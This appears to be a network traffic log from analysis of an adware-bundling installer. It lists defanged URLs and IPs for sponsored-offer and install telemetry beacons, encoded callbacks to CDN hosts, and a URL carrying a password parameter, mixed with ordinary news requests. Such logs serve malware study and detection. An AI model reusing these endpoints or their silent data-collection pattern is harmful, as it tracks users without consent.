hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=VlXRKcYhvMat 9hOzZQLUKzyLtYulojf3Pumfblmu5B9EKWfiY9Pr/lWymhtcc3oSGExqW4qn7xbfNvkjTiX5DEsdSRpTTrrYOU1y/YINREIPiV9jHLVcXbNLt4NKFiInEqOJtqwxNYQXEimUCR3BxI4VX5Tzx Vl8axoeNMkn46SEXCM79iefveis23DNM6naQQuHaXH0P7e7Z5lK2CBt35bH/eTc70z3EdWN1pnr Hy1z9F59O5qMZzYI8lGxFUs1eiubbbmvPF/ScIJOAXGRNmcpTnFp5xuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJe0t1UorR32ajRt6ubd2oIq1D26TO oN1CM6W43gx8rzb6EZXT3NWMqJvaApQIhfAk6jGBXDjj1kNGbinUaxZC2JqlhzQsXFt0Kn7Ptw3qjfA==	54.197.238.106
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/t.ashx?e=wlkQ3WKgYpT/HsUBn07KUowWqg5Eat/CW6KtgZYBj4N4E7mrr1h80riKIFo3W8f23Wq7IsWCDz6NzYZ/unMPuNaoPZj94HyTXeFaoUgIZNgjlVbxwk2 SY4G r 3F6T7Ye9UEEkdnkbYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW Q==	198.232.124.192
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/150514135548-04-france-stolen-monkeys-large-169.jpg	87.245.221.97
hxxp://yandex.ua/yandsearch?rdrnd=955722&lr=147&redircnt=1431731090.1	87.250.251.11
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/10957.ashx?e=hpY1rXLYst7XN7SCySESd1gQ66KMArs6sg7jyZ2P5QEQyol6Hp9RdsFeXk7XK CmCknXtvSK170yKwrqwqi/cJO69qkj7zZCar2S5g8C6DaPt3dUQCvzD3uBxnZ00rQVjKjHf0fty0jJarzC68jV83NG jggZpybt8v1P82G Yv gjKfKdz3qVWyif 2VH4gFagtWkIz2IQ1UJPIGN74Y3E56ZloiYwMqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1AIEnK4HW7/UMisK6sKov3CTuvapI 82Qmq9kuYPAug2j7d3VEAr8w9yty5SoJILjg==	198.232.124.192
hxxp://bi.bisrv.com/pinger?event_type=install_complete&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=226e0daa89188549baf0d586a6bc816b&uniqid=1e49cbf272b0b1cc3bcc98a4a55de57c&affiliate_id=network_smb_indostreamix&software_id=vlcmediaplayerelzy&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=82648e528732ef52d9478630a658126f&tokyo_csrf2_timestamp=1431730939&slot_number=1&index_in_screen=1&index_in_session=1&0.7017017829450571	78.138.127.15
hxxp://errors.basememlog.com/utility.gif?report=fdata&f=1&c=000171&i=300&n=deploy_start_funnel_step_name&rnd=1431730975	54.231.17.196
hxxp://i.cdn.turner.com/cnn/.e/img/4.0/logos/heroes_bw.png	87.245.221.97
hxxp://www.nytimes.com/pages/index.html?partner=rss&emc=rss	170.149.168.130
hxxp://sports.yahoo.com/top/rss	188.125.93.38
hxxp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=74e69be7-98f2-4545-86a7-90384c52884d&Password=R73ubJdk&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,d37f2acf-36b1-44a7-82e5-18cd40d4d9e7,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1431730963&SBPIDS=1&KA=1	173.239.4.56
hxxp://bi.bisrv.com/pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=226e0daa89188549baf0d586a6bc816b&uniqid=1e49cbf272b0b1cc3bcc98a4a55de57c&affiliate_id=network_smb_indostreamix&software_id=vlcmediaplayerelzy&sponsored_id=swiftrecord&tokyo_csrf2_key=82648e528732ef52d9478630a658126f&tokyo_csrf2_timestamp=1431730939&slot_number=3&index_in_screen=1&index_in_session=3&0.7681906998080401	78.138.127.15
hxxp://www.nytimes.com/	170.149.168.130
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=226e0daa89188549baf0d586a6bc816b&uniqid=1e49cbf272b0b1cc3bcc98a4a55de57c&affiliate_id=network_smb_indostreamix&software_id=vlcmediaplayerelzy&sponsored_id=geneio_non_search_for_pc&tokyo_csrf2_key=bfa8bd5ee6ff2e475c0b3db43b5659ac&tokyo_csrf2_timestamp=1431730891&slot_number=4&index_in_screen=1&index_in_session=4&0.6510231396219358	78.138.127.15
hxxp://finance.yahoo.com/rss/techticker;_ylt=AgNOUJ4WcWe1kmDTnkJPdaVk7ot4	188.125.93.39
hxxp://stats.basememlog.com/apps.gif?action=install&app=70299&appver=&ver=1_36_01_22&version_date=15-05-15&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=BA08CCC2F1F54650A2ACED5B27E7A152PI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNUZ3c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&installtime=1431730972&lifetime=0&silent=1&crtnm=na&procstarttime=1431730972&procruntime=16&rnd=1431730988	54.231.1.92
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/150508163610-bonhams-250-gto-large-169.jpg	87.245.221.97
hxxp://www.nytimes.com/index.html?partner=rss&emc=rss	170.149.168.130
hxxp://www.bbc.co.uk/robots.txt	212.58.246.54
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/t.ashx?e=j7YMo/n29XMLjT49fHfOTKKBRU2urqEn/WD6e6SZIIHeyzV7AofXlhYwsCIys4jFl9RbU5Ar lx SVjrzujXJuLt6BhzfOsDsdipVbPJvC6kpVRpoAJ8AwjYjXjSiKQCjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9tzfMa2zgJTnw==	198.232.124.192
hxxp://i.cdn.turner.com/cnn/.e/img/4.0/logos/cnn_mexico_bw.png	87.245.221.97
hxxp://news.yahoo.com/topstories/	188.125.93.38
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/10957.ashx?e=gwZ4/u7hMkKt 9hOzZQLUHbogtPPZKsKjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNvoRldPc1Yyom9oClAiF8CTqMYFcOOPWQ0ZuKdRrFkLYmqWHNCxcW3VHmS0Zrngqa/u6z7Uinv/jYdjfUl7cOWkCN9h bV19VQy3/vmu1URAUAvnawhe3hcica6AIPAezhqBxvppgbPaoY7TL7kjxnI8dGiFiw2ki4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlDxHLLDNx gcHDBrdPw4NiZw/uZBnbag2P rtb55G4iDNw97dOE/f1g==	198.232.124.192
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/150507223900-thailand-fishing-boats-2-large-169.jpg	87.245.221.97
hxxp://bi.bisrv.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=226e0daa89188549baf0d586a6bc816b&uniqid=1e49cbf272b0b1cc3bcc98a4a55de57c&affiliate_id=network_smb_indostreamix&software_id=vlcmediaplayerelzy&sponsored_id=istartsurf&tokyo_csrf2_key=bfa8bd5ee6ff2e475c0b3db43b5659ac&tokyo_csrf2_timestamp=1431730891&slot_number=2&index_in_screen=1&index_in_session=2&display_height=50&0.48067369232473655	78.138.127.15
hxxp://www.bbc.co.uk/news	212.58.246.54
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/141222160809-google-driverless-car-prototype-large-169.jpg	87.245.221.97
hxxp://logs.basememlog.com/monetization.gif?event=3&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000171&country=ua&app=70121&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1431730972&asw=0_1073750533_-2147475456_2048&browser=ff&rnd=1431730972	69.16.175.42
hxxp://bi.bisrv.com/network_smb_indostreamix/vlcmediaplayerelzy/226e0daa89188549baf0d586a6bc816b?v=2.1&uid=226e0daa89188549baf0d586a6bc816b&muid=AD2252CE007468623BD139B0ADEC3423	78.138.127.15
hxxp://bi.bisrv.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=226e0daa89188549baf0d586a6bc816b&uniqid=1e49cbf272b0b1cc3bcc98a4a55de57c&affiliate_id=network_smb_indostreamix&software_id=vlcmediaplayerelzy&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=bfa8bd5ee6ff2e475c0b3db43b5659ac&tokyo_csrf2_timestamp=1431730891&slot_number=1&index_in_screen=1&index_in_session=1&display_height=80&0.3946411919204644	78.138.127.15
hxxp://rss.news.yahoo.com/rss/mostviewed	77.238.184.150
hxxp://analytics.genieo.com/track?uid={32251120-2B2D-43EF-B352-87E9353282DF}&partner=gim394750002&dev=false&history_ie=10	64.233.167.121
hxxp://tools.google.com/	173.194.112.66
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/140917150553-mobile-phone-large-169.jpg	87.245.221.97
hxxp://bi.bisrv.com/pinger?event_type=install_fail&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=226e0daa89188549baf0d586a6bc816b&uniqid=1e49cbf272b0b1cc3bcc98a4a55de57c&affiliate_id=network_smb_indostreamix&software_id=vlcmediaplayerelzy&sponsored_id=swiftrecord&tokyo_csrf2_key=82648e528732ef52d9478630a658126f&tokyo_csrf2_timestamp=1431730939&slot_number=3&index_in_screen=1&index_in_session=3&0.703272314033617	78.138.127.15
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/10957.ashx?e=gwZ4/u7hMkKt 9hOzZQLUHbogtPPZKsKjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNvoRldPc1Yyom9oClAiF8CTqMYFcOOPWQ0ZuKdRrFkLYmqWHNCxcW3VHmS0Zrngqa/u6z7Uinv/jYdjfUl7cOWkCN9h bV19VmEkFygc5PV l8LS18/7YS7PiCC4paVhdfnT/0Z jrL9FpTldfxcKbOIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSaf8y/TzWjMf7rKwD6t b1ZQ8RyywzcfoHBwwa3T8ODYmcP7mQZ22oNj/q7W eRuIgzcPe3ThP39Y=	198.232.124.192
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/150514151419-baby-3-large-169.jpg	87.245.221.97
hxxp://install.theswiftrecord.com/mg?alpha=aAA7MU0nTQwWCy1GFBtCaURoPE1oRjlAPh5oTXdZbVZ6Ik85DSZDVxtHOj4YRxEjYEdoBVZFD3R0Yh4oewgBPD8QVyd+Rjh5QzZrVi9y	8.34.112.140
hxxp://www.mozilla.org/	63.245.215.20
hxxp://errors.basememlog.com/installer-error.gif?action=sesamy&app=70121&appver=0&ver=1_36_01_22&version_date=15-05-15&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=7D10842229D84798A10F86FEE6A717A0PI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNUZ6dHNtdHljMCxkMzdmMmFjZi0zNmIxLTQ0YTctODJlNS0xOGNkNDBkNGQ5ZTcsIiwidW5xIjoiZDM3ZjJhY2YtMzZiMS00NGE3LTgyZTUtMThjZDQwZDRkOWU3In19&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&error=0&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&procstarttime=1431730972&procruntime=3&rnd=1431730975	54.231.17.196
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/150514040310-pkg-kriel-burundi-govt-coup-attempt-00014911-large-169.jpg	87.245.221.97
hxxp://bi.bisrv.com/pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=226e0daa89188549baf0d586a6bc816b&uniqid=1e49cbf272b0b1cc3bcc98a4a55de57c&affiliate_id=network_smb_indostreamix&software_id=vlcmediaplayerelzy&sponsored_id=geneio_non_search_for_pc&tokyo_csrf2_key=82648e528732ef52d9478630a658126f&tokyo_csrf2_timestamp=1431730939&slot_number=4&index_in_screen=1&index_in_session=4&0.13830130870521184	78.138.127.15
hxxp://clubs.ya.ru/company/rss/posts.xml	87.250.251.57
hxxp://i.cdn.turner.com/cnn/.e/img/4.0/logos/cnn_twitter_bw.png	87.245.221.97
hxxp://news.bbc.co.uk/	212.58.244.59
hxxp://finance.yahoo.com/rss/blogs/daily-ticker/	188.125.93.39
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/10957.ashx?e=xY8ohDYpM j7QFMK1iR6liNS3h2XT6ZhEhGH33nPGlEQyol6Hp9RdsFeXk7XK CmCknXtvSK170yKwrqwqi/cJO69qkj7zZCar2S5g8C6DaPt3dUQCvzD3uBxnZ00rQVjKjHf0fty0jJarzC68jV83NG jggZpybLd3NvEenLiCz8LjnD4BZNQQy9IgZy5lJKYX3Ti/i3YMWsa713zW45VvzTtKTLEzOv7BalvFN7jEfyqeYLIru/skFM nYXmDEL4yGuSrT3L9BsDkaVI3Au1AQs4Ac1Q8Pm3d64T09c72RshMqGb6uDjXU3roAfrH04i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlDxHLLDNx gcHDBrdPw4NiZw/uZBnbag2P rtb55G4iDNw97dOE/f1g==	198.232.124.192
hxxp://ocsp.verisign.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRODEXefhs/UZFum2o8YfzOFwceMwQUkz5j3yJ0BOBkhDHd2yOfDq+2TZMCEA89qsgV9niZmSI6gIO0S/U=	23.37.43.27
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/120828060720-mars-082812-story-top.jpg	87.245.221.97
hxxp://www.google-analytics.com/__utm.gif?utmwv=4.7.2&utmn=-78038755&utmt=event&utme=5(engine*engine_started)(1)&utmcs=UTF-8&utmje=1&utmhid=-945909530&utmac=UA-27085171-1&utmcc=__utma=999.1691583942.1431731088.1431731088.1431731088.1;+__utmz=999.1431731088327.1.1.utmcsr=(direct)\|utmccn=(direct)%7utmcmd=(none);&gaq=1	173.194.116.132
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/10957.ashx?e=QgW8pN5r26ZQhScA1jb3T83pm3/PWZt17OXLse4BafTbQC nVTu53mZVsyaCUtL6XfHLV5RkvSuB5e0rFbtBDdpbaE 5ONVz7m/1iuKbHll3g0zui9ii1/uVL3Gu9UwvVR5AawbKoxp11TCyTpFsxf/e2L4omH5cWLazpewXw1hfOKWYd4uGNAB/MXM5vy8Es IILilpWF0R fXJinWV7npoW8o/g6d5g577mTPDhZg2zg/uCXuilWoc/aBGrmt04td6Rt2cx8sFsK7/Ya3qp3H4CQmKwMH4mSX0slVqEAn3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ObTDPRTojvSCHMVy4A0ZhyxUZfK0BbRhO kUF8L/UYVfWwXHQCLmSe6mN2Jsoiv0C3E2wOafKrBS	198.232.124.192
hxxp://repjs.shopper-pro.com/app/ping.ashx?e=KC52kqqAunCt 9hOzZQLUD kCFg8l4pj2YTeaOaZJPFysSIQM/WMqtGQDVZU32tJqokWMN8GCQ/ZKuiB0ryxZL6vs2JJATJ04VTmYx8DZjC0lOvcR7gfC5Ogq/ZWkhdl60W2ZwZ8tLob94hM9WTZwLfS6pcjs1s3WGoyREbxM8eZ3YOu8U7Qr0yM76mYEXUjygHsQ0eMPBZENo9/0ma3IeIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa5BQwiQopi7LzbANYrsS2gTtzAGhxGYFG	54.197.238.106
hxxp://ocsp.thawte.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRsif7263KedmR2MLuYKv9+WQCtWAQU1A1lP3q9NMb+R+dMDcC98t4Vq3ECEBuYvHdVmNDEAeDWzENJUpo=	23.37.43.27
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=c0XmKevqA0k5015vZaqaD8tGn/qMchCb3RDD4M2MKnlkNeKJ xgctdGdqHePycrYlEzjD3RV2P zo7anpTgKuUuWYfM6izmfEaBiShDKRIV XTIrvDDxtHZeSEXX8WA XTfiLzWqxDYMDrRWNb/a uWvc1ERSY/Lao/v/nubYm3PCU8GQVxGgK2dgS8O/TaQhbdsE06OTTBOUDdMBQAxomYsAOzz7hm2v6mMnRFV9GjGalzMA8P5PNTy9uZCvEFUPqKToDTfCBFhMIMAVmW8yKL71X2j3G6x600hVrSIbx3Yz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW fxWwjEc sn2hdQV P4qRFiRoUV4ogQDN9h 2L8C3A11O2jkV5FhmNMgtEwrS49ujM11igWTslo5K5vuReaEszLljER2Ojjg1oa/fP0kfZ6z	54.197.238.106
hxxp://rss.nytimes.com/services/xml/rss/nyt/HomePage.xml	107.21.208.116
hxxp://www.google-analytics.com/ga.js	173.194.116.132
hxxp://stats.basememlog.com/installer.gif?action=finished&LFMR=_ffDll_0&app=70121&appver=&ver=1_36_01_22&version_date=15-05-15&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=7D10842229D84798A10F86FEE6A717A0PI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNUZ6dHNtdHljMCxkMzdmMmFjZi0zNmIxLTQ0YTctODJlNS0xOGNkNDBkNGQ5ZTcsIiwidW5xIjoiZDM3ZjJhY2YtMzZiMS00NGE3LTgyZTUtMThjZDQwZDRkOWU3In19&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_36&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&procstarttime=1431730972&procruntime=13&rnd=1431730985	54.231.1.92
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=226e0daa89188549baf0d586a6bc816b&uniqid=1e49cbf272b0b1cc3bcc98a4a55de57c&affiliate_id=network_smb_indostreamix&software_id=vlcmediaplayerelzy&sponsored_id=swiftrecord&tokyo_csrf2_key=82648e528732ef52d9478630a658126f&tokyo_csrf2_timestamp=1431730939&slot_number=3&index_in_screen=1&index_in_session=3&0.38615138464093273	78.138.127.15
hxxp://www.cnn.com/WORLD/index.html?eref=rss_world	185.31.17.73
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/150414130759-beheading-belgium-large-169.jpg	87.245.221.97
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/32062.ashx?e=N6dOqWm8Q95rOakOyNRzsD0Z7sea5zO kgUNbeseC9P8ln8Iap23//2TEkHeJNDUga zuhV9q9EmwjbtKxeaO7jE5q6KYAnnn14WGxPVpt5CrKRl6uWYlY4G r 3F6T7iJiWa2JIZk6M8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj23N8xrbOAlOf	198.232.124.192
hxxp://news.yahoo.com/rss/topstories	188.125.93.38
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/10957.ashx?e=xY8ohDYpM j7QFMK1iR6liNS3h2XT6ZhEhGH33nPGlEQyol6Hp9RdsFeXk7XK CmCknXtvSK170yKwrqwqi/cJO69qkj7zZCar2S5g8C6DaPt3dUQCvzD3uBxnZ00rQVjKjHf0fty0jJarzC68jV83NG jggZpybLd3NvEenLiCz8LjnD4BZNQQy9IgZy5lJKYX3Ti/i3YON3V5qfYBQRYy9CQuy MOErhBhNhDB4mSs2zM3OKTsdhhqfTLLUt3A0w03bJUd6M6gKlGaFWGmKoY9it6lcEMS6PJlBZDZXtnAIAga8p090x7c540dk3nMqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1AIEnK4HW7/UMisK6sKov3CTuvapI 82Qmq9kuYPAug2j7d3VEAr8w9yty5SoJILjg==	198.232.124.192
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/150513142341-mh370-shipwreck-find-1-large-169.png	87.245.221.97
hxxp://finance.yahoo.com/robots.txt	188.125.93.39
hxxp://static.bbci.co.uk/news/1.69.0321/img/correspondents/circles/rorycellanjones.png	87.245.221.98
hxxp://news.yahoo.com/favicon.ico	188.125.93.38
hxxp://install.theswiftrecord.com/fp?alpha=dXJcL3crCTARFysOcwV4dDYPInd1LkpeNlJzHTArcmZRLzF3Ay9ZHwM0SCohNGFefnpoAEZcMHR9CQBmbSNWL3IYBh4zAyxdOTxhUCYnImg2c19jKWJqC1tyCxxcbWJwJh07cyUIVVAbcjVANCUvYVF7CHQMMikoaHQNcXciZH4iZ2Y3T3EkOStMOiZdYiwQZWVpSnd5c38AQ3cLDFpodnEqED51MAkJSR11IEcgNihnSSxaZVBmO2c0eW0rPiV5eWcRfyVNay97chV9e1wxOj0RQ3gIPH9udQlSdgMaXm99ImBcNBV5UAgGXjQgNHxwfDoNL0kbSDEkNm1zD0l3NWJ5ewxpdxhCdVArTDcqAHtYXHEyblJjKWpwDk5wdhhcamJyIHZIBlQabwdFMQcs	8.34.112.140
hxxp://analytics.genieo.com/utils/whatsmyip.jsp	64.233.167.121
hxxp://news.yahoo.com/rss/business	188.125.93.38
hxxp://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl	87.245.221.98
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/150514155202-shrek-tease-only-large-169.jpg	87.245.221.97
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action1=xa.geoip&action2=visit&action3=smt.visit.istartsurf&update1=ref,smt&update2=identifier,installer&update3=version,6.6.86.1606&update4=nation,us&update5=language,en	69.28.58.55
hxxp://finance.yahoo.com/rss/techticker	188.125.93.39
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/10957.ashx?e=hpY1rXLYst7XN7SCySESd1gQ66KMArs6sg7jyZ2P5QEQyol6Hp9RdsFeXk7XK CmCknXtvSK170yKwrqwqi/cJO69qkj7zZCar2S5g8C6DaPt3dUQCvzD3uBxnZ00rQVjKjHf0fty0jJarzC68jV83NG jggZpybt8v1P82G Yv gjKfKdz3qVWyif 2VH4gFagtWkIz2ITe2QtDpLn MGdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgEPlcKBNGiF/021585MfhSpnkjtuKARPGXTfiLzWqxDYMDrRWNb/a uWvc1ERSY/LSnPGlduzOkM=	198.232.124.192
hxxp://bi.bisrv.com/pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=226e0daa89188549baf0d586a6bc816b&uniqid=1e49cbf272b0b1cc3bcc98a4a55de57c&affiliate_id=network_smb_indostreamix&software_id=vlcmediaplayerelzy&sponsored_id=istartsurf&tokyo_csrf2_key=82648e528732ef52d9478630a658126f&tokyo_csrf2_timestamp=1431730939&slot_number=2&index_in_screen=1&index_in_session=2&0.5323607351058053	78.138.127.15
hxxp://errors.basememlog.com/utility.gif?report=fdata&f=1&c=000805&i=200&n=init_end_funnel_step_name&rnd=1431730975	54.231.17.196
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/150515155036-hong-kong-us-mom-baby-kyuss-with-square-crop-large-169.jpeg	87.245.221.97
hxxp://mozorg.cdn.mozilla.net/media/img/favicon/favicon-196x196.cb79ae3b6daf.png	68.232.34.191
hxxp://errors.basememlog.com/utility.gif?report=fdata&f=1&c=000805&i=1100&n=deploy_updater_start_funnel_step_name&rnd=1431730983	54.231.17.196
hxxp://sports.yahoo.com/robots.txt	188.125.93.38
hxxp://crl.microsoft.com/pki/crl/products/WinPCA.crl	87.245.221.98
hxxp://rss.news.yahoo.com/rss/us	77.238.184.150
hxxp://tools.google.com/robots.txt	173.194.112.66
hxxp://edition.cnn.com/2015/05/11/asia/freedom-project-thailand-fishing-slave-ships/index.html	185.31.17.73
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/10957.ashx?e=j7YMo/n29XPkTjH401c/dCNS3h2XT6ZhyMlYLXuYTiQQyol6Hp9RdsFeXk7XK CmCknXtvSK170yKwrqwqi/cJO69qkj7zZCar2S5g8C6DaPt3dUQCvzD3uBxnZ00rQVjKjHf0fty0jJarzC68jV83NG jggZpybL035I4OsxKZQAPEg9HAY/7i9yaZDVXNnKYX3Ti/i3YOWcmQ2qx PSIgI4Iz7fz4ZjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701LyLLA1jov 552zS7eDShYiJxKjibasMTWEFxIplAkdwcSOFV U88flQ==	198.232.124.192
hxxp://crl.thawte.com/ThawtePremiumServerCA.crl	23.37.37.163
hxxp://repjs.shopper-pro.com/app/ping.ashx?e=eISsn0A7mAaebxLgvS5H7j0Z7sea5zO ZgUvH4i6X/oicvsFwQStECv5F5wArPI/YCpHZc9ZUaFAR3ajkVQ2x7uuM3c65sqXLtq7zMORfxfhVOZjHwNmMLSU69xHuB8Lk6Cr9laSF2XrRbZnBny0uhv3iEz1ZNnAt9LqlyOzWzdYajJERvEzx5ndg67xTtCvTIzvqZgRdSPKAexDR4w8Fr3kxE5BYD8vaV7UOVAXxqUE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93MQYSNAnI1RFiozLT9XeQ0a4KAoSfmopCFRl8rQFtGE76RQXwv9RhV9bBcdAIuZJ7qY3YmyiK/QLMprsE/ NOdQUd2T Cdn6lg==	54.197.238.106
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/150512105219-dramatic-airports-billy-bishop-large-169.jpg	87.245.221.97
hxxp://online.GOOBZO.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=74e69be7-98f2-4545-86a7-90384c52884d&Password=R73ubJdk&OS=10&V=3.3.9.4&VS=1&Beta=0&Aff=smtyc0_0_0_0_0,d37f2acf-36b1-44a7-82e5-18cd40d4d9e7,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1431731024&SBPIDS=0
hxxp://repjs.shopper-pro.com/app/ping.ashx?e=s5Ydxb c7o1WuN7nJmKQv4wWqg5Eat/CR9y6VNHLKGiRoZJTpqsyZ quxda/Dun3qP0V6n4 tzBHLE0ylDSF7 Lmf6eHphUt51vWMEpOYI9vFWuyZiLPwVfMcUAAn47OdXf8s99rZqrmh5G7kLgKqVXo80RT67Oh9qn20QlhWbaExpgoHHKdGGQrXcXswSfxPRnux5rnM77rqmoFjwdjkN62wjSae0jpX4VnmED7u0HiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmuQUMIkKKYuyobRbSlpC7xcESu6mOfiHCjIrCurCqL9wk7r2qSPvNkJqvZLmDwLoNo 3d1RAK/MPksnh1YRA Jk=	54.197.238.106
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/14396.ashx?e=uWabAt9SLcz1rEcPDUvKZj0Z7sea5zO UB/4jIVeTtL8ln8Iap23//2TEkHeJNDUga zuhV9q9Hkf4JsJqHXLCR1q1S/V1rzn14WGxPVpt5CrKRl6uWYlY4G r 3F6T7iJiWa2JIZk6M8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj23N8xrbOAlOf	198.232.124.192
hxxp://i2.cdn.turner.com/cnnnext/dam/assets/150408180918-lok-damon-iraq-isis-yazidi-captives-released-00003419-large-169.jpg	87.245.221.97
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/10957.ashx?e=gwZ4/u7hMkKt 9hOzZQLUHbogtPPZKsKjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNvoRldPc1Yyom9oClAiF8CTqMYFcOOPWQ0ZuKdRrFkLYmqWHNCxcW3VHmS0Zrngqa/u6z7Uinv/jYdjfUl7cOWkCN9h bV19VYprmtggrnPkRZoIKlaIquCmF904v4t2Dq2VCTtgY9vzjJTf12l608veJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLFRl8rQFtGE76RQXwv9RhV9bBcdAIuZJ7qY3YmyiK/QLcTbA5p8qsFI=	198.232.124.192
hxxp://www.bbc.co.uk/favicon.ico	212.58.246.54
hxxp://errors.basememlog.com/utility.gif?report=fdata&f=1&c=000171&i=1100&n=deploy_updater_start_funnel_step_name&rnd=1431730980	54.231.17.196
